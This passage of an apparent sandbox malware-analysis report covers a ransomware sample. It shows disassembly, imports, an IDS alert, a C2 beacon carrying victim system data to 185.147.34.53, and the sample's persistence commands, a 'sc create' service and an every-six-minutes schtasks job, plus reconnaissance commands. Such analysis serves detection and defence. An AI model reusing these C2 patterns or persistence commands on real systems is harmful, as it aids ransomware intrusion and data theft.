                                jc 00007F5048CE0C60h
                                cmp edx, dword ptr [esp+0Ch]
                                jnbe 00007F5048CE0C5Ah
                                jc 00007F5048CE0C61h
                                cmp eax, dword ptr [esp+08h]
                                jbe 00007F5048CE0C5Bh
                                dec esi
                                sub eax, dword ptr [esp+10h]
                                sbb edx, dword ptr [esp+14h]
                                xor ebx, ebx
                                sub eax, dword ptr [esp+08h]
                                sbb edx, dword ptr [esp+0Ch]
                                neg edx
                                neg eax
                                sbb edx, 00000000h
                                mov ecx, edx
                                mov edx, ebx
                                mov ebx, ecx
                                mov ecx, eax
                                mov eax, esi
                                pop esi
                                retn 0010h
                                int3
                                int3
                                int3

                                Rich Headers

                                Programming Language:
                                • [IMP] VS2008 SP1 build 30729

                                Data Directories

                                NameVirtual AddressVirtual Size Is in Section
                                IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                IMAGE_DIRECTORY_ENTRY_IMPORT0x11d9cc0xb4.rdata
                                IMAGE_DIRECTORY_ENTRY_RESOURCE0x1300000x1e0.rsrc
                                IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                IMAGE_DIRECTORY_ENTRY_BASERELOC0x1310000xd728.reloc
                                IMAGE_DIRECTORY_ENTRY_DEBUG0x1056700x38.rdata
                                IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                IMAGE_DIRECTORY_ENTRY_TLS0x10574c0x18.rdata
                                IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x1056a80x40.rdata
                                IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                IMAGE_DIRECTORY_ENTRY_IAT0xe30000x328.rdata
                                IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                Sections

                                NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                .text0x10000xe12e60xe140079a4f5012cacf5512333614ec3f4b73fFalse0.45993384087125416zlib compressed data6.644803507811633IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                .rdata0xe30000x3bc100x3be00c8cd7c717dccd21fe53cd52ee64715c9False0.3937320589770355data5.005335072009977IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                .data0x11f0000x107780x8200f70591f8b968a1166c678e28b557c9daFalse0.15655048076923078data4.832432461427509IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                .rsrc0x1300000x1e00x200319e7ac1640c4d053129c81ac0038351False0.52734375data4.701503258251789IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                .reloc0x1310000xd7280xd8003849f621e39858240cd95052fca19b06False0.5704571759259259data6.576011148892834IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                Resources

                                NameRVASizeTypeLanguageCountryZLIB Complexity
                                RT_MANIFEST0x1300600x17dXML 1.0 document, ASCII text, with CRLF line terminatorsEnglishUnited States0.5931758530183727

                                Imports

                                DLLImport
                                KERNEL32.dllSleep, FormatMessageW, GetLastError, SetEvent, GetDiskFreeSpaceExW, GetCurrentThread, WaitForSingleObjectEx, CloseHandle, HeapAlloc, GetLogicalDriveStringsA, GetProcAddress, SetFilePointerEx, LocalFree, GetFileSize, GetProcessHeap, GlobalMemoryStatusEx, MultiByteToWideChar, CopyFileW, WideCharToMultiByte, GetConsoleWindow, FormatMessageA, CreateSemaphoreA, CreateEventA, lstrcmpW, SetConsoleTitleW, SetLastError, QueryPerformanceCounter, QueryPerformanceFrequency, GetThreadTimes, WriteConsoleW, SetStdHandle, SetEnvironmentVariableA, FreeEnvironmentStringsW, GetComputerNameExW, GetSystemDirectoryW, GetFileAttributesW, CreateFileW, LocalAlloc, FindClose, WaitForMultipleObjectsEx, SetFilePointer, SetErrorMode, GetModuleFileNameW, WriteFile, ReleaseSemaphore, GetCurrentProcess, FindNextFileW, HeapFree, FindFirstFileW, ReadFile, GetModuleHandleW, CreateDirectoryW, GetEnvironmentStringsW, GetOEMCP, IsValidCodePage, FindNextFileA, FindFirstFileExA, GetTimeZoneInformation, HeapSize, HeapReAlloc, ReadConsoleW, CreatePipe, GetExitCodeProcess, GetConsoleMode, GetConsoleCP, FlushFileBuffers, GetFileType, EnumSystemLocalesW, GetUserDefaultLCID, IsValidLocale, GetTimeFormatW, GetDateFormatW, GetACP, GetCommandLineW, GetStringTypeW, EnterCriticalSection, LeaveCriticalSection, TryEnterCriticalSection, DeleteCriticalSection, GetCurrentThreadId, InitializeCriticalSectionAndSpinCount, CreateEventW, SwitchToThread, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetSystemTimeAsFileTime, GetTickCount, EncodePointer, DecodePointer, CompareStringW, LCMapStringW, GetLocaleInfoW, GetCPInfo, DeleteFileW, GetFileAttributesExW, SetEndOfFile, DeviceIoControl, MoveFileExW, AreFileApisANSI, ResetEvent, OpenEventA, SetWaitableTimer, GetCurrentProcessId, ResumeThread, GetLogicalProcessorInformation, GetModuleHandleA, CreateWaitableTimerA, InitializeSListHead, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsDebuggerPresent, GetStartupInfoW, SignalObjectAndWait, CreateThread, SetThreadPriority, GetThreadPriority, CreateTimerQueueTimer, ChangeTimerQueueTimer, DeleteTimerQueueTimer, GetNumaHighestNodeNumber, GetProcessAffinityMask, SetThreadAffinityMask, RegisterWaitForSingleObject, UnregisterWait, FreeLibrary, FreeLibraryAndExitThread, LoadLibraryExW, GetVersionExW, VirtualAlloc, VirtualProtect, VirtualFree, DuplicateHandle, InterlockedPopEntrySList, InterlockedPushEntrySList, InterlockedFlushSList, QueryDepthSList, UnregisterWaitEx, CreateTimerQueue, LoadLibraryW, WaitForSingleObject, RtlUnwind, RaiseException, ExitProcess, GetModuleHandleExW, CreateProcessA, ExitThread, GetModuleFileNameA, GetStdHandle, GetCommandLineA
                                USER32.dllEnumWindows, GetWindowTextA, ShowWindow, GetWindowTextLengthA
                                ADVAPI32.dllCryptGenRandom, CryptReleaseContext, CryptAcquireContextA, SetSecurityDescriptorDacl, AccessCheck, SetSecurityDescriptorOwner, AllocateAndInitializeSid, IsValidSecurityDescriptor, OpenProcessToken, FreeSid, InitializeSecurityDescriptor, InitializeAcl, DuplicateToken, GetLengthSid, GetUserNameW, AddAccessAllowedAce, OpenThreadToken, SetSecurityDescriptorGroup
                                SHELL32.dllShellExecuteW
                                WS2_32.dllhtons, recv, connect, socket, send, WSAStartup, closesocket, WSACleanup, gethostbyname
                                SHLWAPI.dllPathIsNetworkPathA
                                NETAPI32.dllNetUserEnum, DsRoleGetPrimaryDomainInformation, NetApiBufferFree
                                WININET.dllHttpOpenRequestW, HttpSendRequestW, InternetOpenW, InternetReadFile, InternetConnectW

                                Possible Origin

                                Language of compilation systemCountry where language is spokenMap
                                EnglishUnited States

                                Network Behavior

                                Suricata IDS Alerts

                                TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                2024-12-06T13:42:01.978932+01002045821ET MALWARE [ANY.RUN] RCRU64 Ransomware Variant CnC Activity1192.168.2.549705185.147.34.533586TCP

                                Network Port Distribution

                                TCP Packets

                                TimestampSource PortDest PortSource IPDest IP
                                Dec 6, 2024 13:42:11.227592945 CET4970480192.168.2.5104.26.13.205
                                Dec 6, 2024 13:42:11.347439051 CET8049704104.26.13.205192.168.2.5
                                Dec 6, 2024 13:42:11.347603083 CET4970480192.168.2.5104.26.13.205
                                Dec 6, 2024 13:42:11.348079920 CET4970480192.168.2.5104.26.13.205
                                Dec 6, 2024 13:42:11.468003035 CET8049704104.26.13.205192.168.2.5
                                Dec 6, 2024 13:42:12.446636915 CET8049704104.26.13.205192.168.2.5
                                Dec 6, 2024 13:42:12.446767092 CET4970480192.168.2.5104.26.13.205
                                Dec 6, 2024 13:42:12.561224937 CET497053586192.168.2.5185.147.34.53
                                Dec 6, 2024 13:42:12.681123018 CET358649705185.147.34.53192.168.2.5
                                Dec 6, 2024 13:42:12.681224108 CET497053586192.168.2.5185.147.34.53
                                Dec 6, 2024 13:42:12.681379080 CET497053586192.168.2.5185.147.34.53
                                Dec 6, 2024 13:42:12.801201105 CET358649705185.147.34.53192.168.2.5
                                Dec 6, 2024 13:42:12.801352978 CET358649705185.147.34.53192.168.2.5

                                UDP Packets

                                TimestampSource PortDest PortSource IPDest IP
                                Dec 6, 2024 13:42:11.080912113 CET5412553192.168.2.51.1.1.1
                                Dec 6, 2024 13:42:11.221293926 CET53541251.1.1.1192.168.2.5

                                DNS Queries

                                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                Dec 6, 2024 13:42:11.080912113 CET192.168.2.51.1.1.10x3b3fStandard query (0)api.ipify.orgA (IP address)IN (0x0001)false

                                DNS Answers

                                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                Dec 6, 2024 13:42:11.221293926 CET1.1.1.1192.168.2.50x3b3fNo error (0)api.ipify.org104.26.13.205A (IP address)IN (0x0001)false
                                Dec 6, 2024 13:42:11.221293926 CET1.1.1.1192.168.2.50x3b3fNo error (0)api.ipify.org104.26.12.205A (IP address)IN (0x0001)false
                                Dec 6, 2024 13:42:11.221293926 CET1.1.1.1192.168.2.50x3b3fNo error (0)api.ipify.org172.67.74.152A (IP address)IN (0x0001)false

                                HTTP Request Dependency Graph

                                • api.ipify.org
                                • 185.147.34.53

                                HTTP Packets

                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                0192.168.2.549704104.26.13.205803332C:\Users\user\Desktop\lEUy79aLAW.exe
                                TimestampBytes transferredDirectionData
                                Dec 6, 2024 13:42:11.348079920 CET82OUTGET / HTTP/1.1
                                Accept: text/*
                                User-Agent: YourUserAgent
                                Host: api.ipify.org
                                Dec 6, 2024 13:42:12.446636915 CET430INHTTP/1.1 200 OK
                                Date: Fri, 06 Dec 2024 12:42:12 GMT
                                Content-Type: text/plain
                                Content-Length: 12
                                Connection: keep-alive
                                Vary: Origin
                                CF-Cache-Status: DYNAMIC
                                Server: cloudflare
                                CF-RAY: 8edc5ac2bc2e1a1f-EWR
                                server-timing: cfL4;desc="?proto=TCP&rtt=2032&min_rtt=2032&rtt_var=1016&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=82&delivery_rate=0&cwnd=226&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                Data Raw: 38 2e 34 36 2e 31 32 33 2e 32 32 38
                                Data Ascii: 8.46.123.228


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                1192.168.2.549705185.147.34.5335863332C:\Users\user\Desktop\lEUy79aLAW.exe
                                TimestampBytes transferredDirectionData
                                Dec 6, 2024 13:42:12.681379080 CET2116OUTGET /110_And_Netword_Drive_Size:0_Encryption_Mode:_Fast_Mode!Empty]_____03/10/2023,_10:57:18$_06/12/2024-_7:42:[Version_10.0.19045.2006|Microsoft_Windows_10_Prohg3l,8.46.123.228~L8aJ3dtuKW6z3I8gxYSEQT1JEP9SrTOl1Ixpoj2IkATObrN+oHobGi8392GNrHH0GxeJKM3Fse4Dx6VvGkJQWpGKgmfMWrB62mve4jaay+2I8L3YbeiDfX88Ssijr77yu3K0TojJKWxhf0PTDyJbrt0t6toUkhY7zguC6aUlDrzeRClYPnxEeJ/fKKwjia/RaJkddb8fw6BNNaLkMF6pl/HQaW99Wt4sXjMG0Ix2xh1/xQpi6Ab9yxGoqUEcIPMdPuRXEk88hL11BibuS3fQ9T9iae05FHGnKfx9mzcm3smOaWRamhb60M0tEOYvmme3PYTfmHlpB/37Ubbkhg3RcnkOOpX8ViXCwU+EG+IsPCD9vBtYS0uJQLvekv3X8IUDcoiEH4Ta6ZTvR6AFWVwhNsspEbmoPNFZfn+dM+ZZy9mmTDcUQ2tAe5Cvfi1lz9REY2Our0OEJuqao2IgCNhYl4+1k7UIpn2/9bhwS9J2pc/e73fwR0H3XcIeBQs6Bv/KEx2J7x23VvlzrFSiANycS2ZBXvfRfyYyA1qwQVQq7YdDGpZMnU8Jed4cNpJ2D79gUOV+dhB3Q1wtQyqh6/392zr+SqpsUrOQNVfUbAgERAoIBADphGU/+LkDtaTWPtPxG2cw67iqhrcNvujEtQA+aCvoVPJpJSsBSTMfuH0VVLGyuF2KQO2lNtZY1WyfzCmmaRC+CFeBSZsAPXqVzGVvq8rey48a4jBHaKazreXkH9csNw/iLuwFvYeobD1+MdlWwyMYc+PkYR9V0jObdT8Dde+GpBT7kbGW5vrVWSFXRy+DmRf+TXQ2FKTl1UqmGruPUcu9YmStvbXMuE [TRUNCATED]
                                Host: 185.147.34.53
                                Connection: close


                                Statistics

                                CPU Usage

                                Click to jump to process

                                Memory Usage

                                Click to jump to process

                                High Level Behavior Distribution

                                Click to dive into process behavior distribution

                                Behavior

                                Click to jump to process

                                System Behavior

                                General

                                Target ID:0
                                Start time:07:42:05
                                Start date:06/12/2024
                                Path:C:\Users\user\Desktop\lEUy79aLAW.exe
                                Wow64 process (32bit):true
                                Commandline:"C:\Users\user\Desktop\lEUy79aLAW.exe"
                                Imagebase:0x9c0000
                                File size:1'257'984 bytes
                                MD5 hash:682DB93E884F81383CE078DF1353FF1B
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:low
                                Has exited:false

                                General

                                Target ID:1
                                Start time:07:42:05
                                Start date:06/12/2024
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff6d64d0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:false

                                General

                                Target ID:2
                                Start time:07:42:05
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\cmd.exe
                                Wow64 process (32bit):true
                                Commandline:C:\Windows\system32\cmd.exe /c tasklist /v /fo csv | findstr /i "dcdcf"
                                Imagebase:0x790000
                                File size:236'544 bytes
                                MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:true

                                General

                                Target ID:3
                                Start time:07:42:05
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\tasklist.exe
                                Wow64 process (32bit):true
                                Commandline:tasklist /v /fo csv
                                Imagebase:0x10000
                                File size:79'360 bytes
                                MD5 hash:0A4448B31CE7F83CB7691A2657F330F1
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:true

                                General

                                Target ID:4
                                Start time:07:42:05
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\findstr.exe
                                Wow64 process (32bit):true
                                Commandline:findstr /i "dcdcf"
                                Imagebase:0x620000
                                File size:29'696 bytes
                                MD5 hash:F1D4BE0E99EC734376FDE474A8D4EA3E
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:true

                                General

                                Target ID:6
                                Start time:07:42:07
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\cmd.exe
                                Wow64 process (32bit):true
                                Commandline:C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto
                                Imagebase:0x790000
                                File size:236'544 bytes
                                MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:true

                                General

                                Target ID:7
                                Start time:07:42:07
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\sc.exe
                                Wow64 process (32bit):true
                                Commandline:sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto
                                Imagebase:0xef0000
                                File size:61'440 bytes
                                MD5 hash:D9D7684B8431A0D10D0E76FE9F5FFEC8
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:moderate
                                Has exited:true

                                General

                                Target ID:8
                                Start time:07:42:07
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\cmd.exe
                                Wow64 process (32bit):true
                                Commandline:C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start= auto
                                Imagebase:0x790000
                                File size:236'544 bytes
                                MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:true

                                General

                                Target ID:9
                                Start time:07:42:07
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\sc.exe
                                Wow64 process (32bit):true
                                Commandline:sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start= auto
                                Imagebase:0xef0000
                                File size:61'440 bytes
                                MD5 hash:D9D7684B8431A0D10D0E76FE9F5FFEC8
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:moderate
                                Has exited:true

                                General

                                Target ID:10
                                Start time:07:42:07
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\cmd.exe
                                Wow64 process (32bit):true
                                Commandline:C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Documents and Settings\user\Start Menu\Programs\Startup\Xinfecter.exe" start= auto
                                Imagebase:0x790000
                                File size:236'544 bytes
                                MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:true

                                General

                                Target ID:12
                                Start time:07:42:07
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\cmd.exe
                                Wow64 process (32bit):true
                                Commandline:C:\Windows\system32\cmd.exe /c ver
                                Imagebase:0x790000
                                File size:236'544 bytes
                                MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:13
                                Start time:07:42:07
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\cmd.exe
                                Wow64 process (32bit):true
                                Commandline:C:\Windows\system32\cmd.exe /c cd "%SystemDrive%\Users\%username%\AppData\"&S-2153.bat
                                Imagebase:0x790000
                                File size:236'544 bytes
                                MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:14
                                Start time:07:42:07
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\wscript.exe
                                Wow64 process (32bit):true
                                Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs"
                                Imagebase:0xdf0000
                                File size:147'456 bytes
                                MD5 hash:FF00E0480075B095948000BDC66E81F0
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:15
                                Start time:07:42:08
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\cmd.exe
                                Wow64 process (32bit):true
                                Commandline:C:\Windows\system32\cmd.exe /c schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\%username%\AppData\S-2153.bat'" /f
                                Imagebase:0x790000
                                File size:236'544 bytes
                                MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:16
                                Start time:07:42:08
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\schtasks.exe
                                Wow64 process (32bit):true
                                Commandline:schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\user\AppData\S-2153.bat'" /f
                                Imagebase:0x610000
                                File size:187'904 bytes
                                MD5 hash:48C2FE20575769DE916F48EF0676A965
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:17
                                Start time:07:42:08
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\cmd.exe
                                Wow64 process (32bit):true
                                Commandline:C:\Windows\system32\cmd.exe /c echo %date%-%time%
                                Imagebase:0x790000
                                File size:236'544 bytes
                                MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:18
                                Start time:07:42:08
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\cmd.exe
                                Wow64 process (32bit):true
                                Commandline:C:\Windows\system32\cmd.exe /C echo C:\Users\user\AppData\S-6748.bat
                                Imagebase:0x790000
                                File size:236'544 bytes
                                MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:19
                                Start time:07:42:08
                                Start date:06/12/2024
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff6d64d0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:20
                                Start time:07:42:08
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\cmd.exe
                                Wow64 process (32bit):true
                                Commandline:C:\Windows\system32\cmd.exe /c systeminfo|find /i "os name"
                                Imagebase:0x790000
                                File size:236'544 bytes
                                MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:21
                                Start time:07:42:08
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\systeminfo.exe
                                Wow64 process (32bit):true
                                Commandline:systeminfo
                                Imagebase:0x60000
                                File size:76'800 bytes
                                MD5 hash:36CCB1FFAFD651F64A22B5DA0A1EA5C5
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:22
                                Start time:07:42:08
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\find.exe
                                Wow64 process (32bit):true
                                Commandline:find /i "os name"
                                Imagebase:0x330000
                                File size:14'848 bytes
                                MD5 hash:15B158BC998EEF74CFDD27C44978AEA0
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:23
                                Start time:07:42:08
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\cmd.exe
                                Wow64 process (32bit):true
                                Commandline:C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\S-6748.bat" "
                                Imagebase:0x790000
                                File size:236'544 bytes
                                MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:false

                                General

                                Target ID:25
                                Start time:07:42:08
                                Start date:06/12/2024
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff6d64d0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:false

                                General

                                Target ID:26
                                Start time:07:42:09
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\tasklist.exe
                                Wow64 process (32bit):true
                                Commandline:tasklist /v
                                Imagebase:0x10000
                                File size:79'360 bytes
                                MD5 hash:0A4448B31CE7F83CB7691A2657F330F1
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:27
                                Start time:07:42:09
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\find.exe
                                Wow64 process (32bit):true
                                Commandline:find /I /c "dcdcf"
                                Imagebase:0x330000
                                File size:14'848 bytes
                                MD5 hash:15B158BC998EEF74CFDD27C44978AEA0
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:28
                                Start time:07:42:09
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\cmd.exe
                                Wow64 process (32bit):true
                                Commandline:C:\Windows\system32\cmd.exe /c systeminfo|find /i "original"
                                Imagebase:0x790000
                                File size:236'544 bytes
                                MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:29
                                Start time:07:42:09
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\systeminfo.exe
                                Wow64 process (32bit):true
                                Commandline:systeminfo
                                Imagebase:0x60000
                                File size:76'800 bytes
                                MD5 hash:36CCB1FFAFD651F64A22B5DA0A1EA5C5
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:30
                                Start time:07:42:09
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\find.exe
                                Wow64 process (32bit):true
                                Commandline:find /i "original"
                                Imagebase:0x330000
                                File size:14'848 bytes
                                MD5 hash:15B158BC998EEF74CFDD27C44978AEA0
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:31
                                Start time:07:42:10
                                Start date:06/12/2024
                                Path:C:\Windows\System32\cmd.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\SYSTEM32\cmd.exe /c ""C:\Users\user\AppData\S-2153.bat""
                                Imagebase:0x7ff7da720000
                                File size:289'792 bytes
                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:32
                                Start time:07:42:10
                                Start date:06/12/2024
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff6d64d0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:33
                                Start time:07:42:10
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\cmd.exe
                                Wow64 process (32bit):true
                                Commandline:C:\Windows\system32\cmd.exe /c ver
                                Imagebase:0x790000
                                File size:236'544 bytes
                                MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:34
                                Start time:07:42:10
                                Start date:06/12/2024
                                Path:C:\Windows\System32\wscript.exe
                                Wow64 process (32bit):false
                                Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs"
                                Imagebase:0x7ff708bd0000
                                File size:170'496 bytes
                                MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:35
                                Start time:07:42:10
                                Start date:06/12/2024
                                Path:C:\Windows\SysWOW64\timeout.exe
                                Wow64 process (32bit):true
                                Commandline:timeout /t 15 /nobreak
                                Imagebase:0x4b0000
                                File size:25'088 bytes
                                MD5 hash:976566BEEFCCA4A159ECBDB2D4B1A3E3
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:36
                                Start time:07:42:11
                                Start date:06/12/2024
                                Path:C:\Windows\System32\cmd.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\cmd.exe /C echo C:\Users\user\AppData\S-6748.bat
                                Imagebase:0x7ff7da720000
                                File size:289'792 bytes
                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:37
                                Start time:07:42:11
                                Start date:06/12/2024
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff6d64d0000
                                File size:862'208 bytes
